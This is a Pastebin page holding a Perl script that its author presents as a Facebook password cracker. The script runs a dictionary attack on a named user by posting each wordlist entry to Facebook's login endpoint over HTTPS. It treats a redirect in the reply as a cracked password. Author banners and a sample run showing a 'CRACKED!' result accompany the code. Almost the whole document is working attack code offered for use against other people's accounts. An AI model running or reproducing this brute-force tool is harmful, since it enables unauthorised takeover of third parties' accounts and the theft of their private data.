Guest User

MR.MaGMA1

a guest
Jun 9th, 2017
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.67 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # MR.MaGMA-Facebook
  4. #
  5. # Description:
  6. # MUHOMMADAL-MUSAWI Cracker is a password cracking tool written in perl to perform a dictionary-based attack on a specific Facebook user through HTTPS.
  7. #
  8. # Usage:
  9. # perl YASSER-musawir.pl login wordlist
  10. # login could be either a user's email address or profile name
  11. #
  12. # Module Requirements:
  13. #
  14. # Install module if missing:
  15. # perl -MCPAN -e 'install Net::SSLeay'
  16. #
  17. # Demo:
  18. # perl YASSER-musawi.pl Facebooklogin@facebook.com wordlist.lst
  19. #
  20. # ---YASSER ALMUSAWI Facebook password cracking tool
  21. # --- Programmer:PCIOLA YASSER MUSAWI
  22. # --- YASSER.MUSAWI.HACKER.Egypt
  23. #
  24. # [+] Cracking Facebooklogin@facebook.com ...
  25. #
  26. # [-] test -> Failed
  27. # [-] test123 -> Failed
  28. # [-] testtest -> Failed
  29. # [-] testest123 -> Failed
  30. # [-] qwerty -> Failed
  31. # [-] azerty -> Failed
  32. # [-] password -> Failed
  33. # [-] password123 -> Failed
  34. #
  35. #--------------------------------------------------
  36. # [+] CRACKED! Your password is P@$$W0RD
  37. #--------------------------------------------------
  38. #
  39.  
  40. use strict;
  41. use Net::SSLeay::Handle;
  42.  
  43. if(!defined($ARGV[0] && $ARGV[1])) {
  44.  
  45. system('clear');
  46. print "\n+++MR.MaGMA";
  47. print "\n\n+++ Mohamed Sabry \n";
  48. print "\n% Egypt wins %- No Sectarianism -% MR.MaGMA HACKER % \n";
  49. print "\n\n+++ Programmer: MR.MaGMA\n";
  50. print "\n+++ www.fb.com/MR.MaGMA1993\n";
  51. print "+++ Usage: perl $0 login wordlist\n";
  52. exit; }
  53.  
  54. my $user = $ARGV[0];
  55. my $wordlist = $ARGV[1];
  56.  
  57. open (LIST, $wordlist) || die "\n[-] No Wordlist On $wordlist -_- \n";
  58.  
  59. print "\n+++MR.MaGMA ";
  60. print "\n\n+++ Mohamed Sabry\n";
  61. print "\n\n% Egypt wins %- No Sectarianism -% Egypt wins % \n";
  62. print "\n\n+++ Programmer: MR.MaGMA\n";
  63. print "\n+++ www.fb.com/MR.MaGMA1993\n";
  64. print "\n[+] Now Cracking $user ...\n\n";
  65.  
  66. while (my $password = <LIST>) {
  67. chomp ($password);
  68. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  69.  
  70. my $a = "POST /login.php HTTP/1.1";
  71. my $b = "Host: www.facebook.com";
  72. my $c = "Connection: close";
  73. my $e = "Cache-Control: max-age=0";
  74. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  75. my $g = "Origin: https://www.facebook.com";
  76. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  77. my $i = "Content-Type: application/x-www-form-urlencoded";
  78. my $j = "Accept-Encoding: gzip,deflate,sdch";
  79. my $k = "Accept-Language: en-US,en;q=0.8";
  80. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  81.  
  82. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  83. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  84. my $cl = length($post);
  85. my $d = "Content-Length: $cl";
  86.  
  87.  
  88. my ($host, $port) = ("www.facebook.com", 443);
  89.  
  90. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  91.  
  92.  
  93. print SSL "$a\n";
  94. print SSL "$b\n";
  95. print SSL "$c\n";
  96. print SSL "$d\n";
  97. print SSL "$e\n";
  98. print SSL "$f\n";
  99. print SSL "$g\n";
  100. print SSL "$h\n";
  101. print SSL "$i\n";
  102. print SSL "$j\n";
  103. print SSL "$k\n";
  104. print SSL "$l\n";
  105. print SSL "$cookie\n\n";
  106.  
  107. print SSL "$post\n";
  108.  
  109. my $success;
  110. while(my $result = <SSL>){
  111. if($result =~ /Location(.*?)/){
  112. $success = $1;
  113. }
  114. }
  115. if (!defined $success)
  116. {
  117. print "[-] MR.MaGMA-> $password ! \n";
  118. close SSL;
  119. }
  120. else
  121. {
  122. print "\n\n % MR.MaGMA % \n";
  123. print "\n&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& \n";
  124. print "[+] MR.MaGMA Found ==> Password is : $password :D\n";
  125. print "&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& \n";
  126. print "\n\n Programmer : MR.MaGMA \n";
  127. close SSL;
  128. exit;
  129. }
  130. }
Add Comment
Please, Sign In to add comment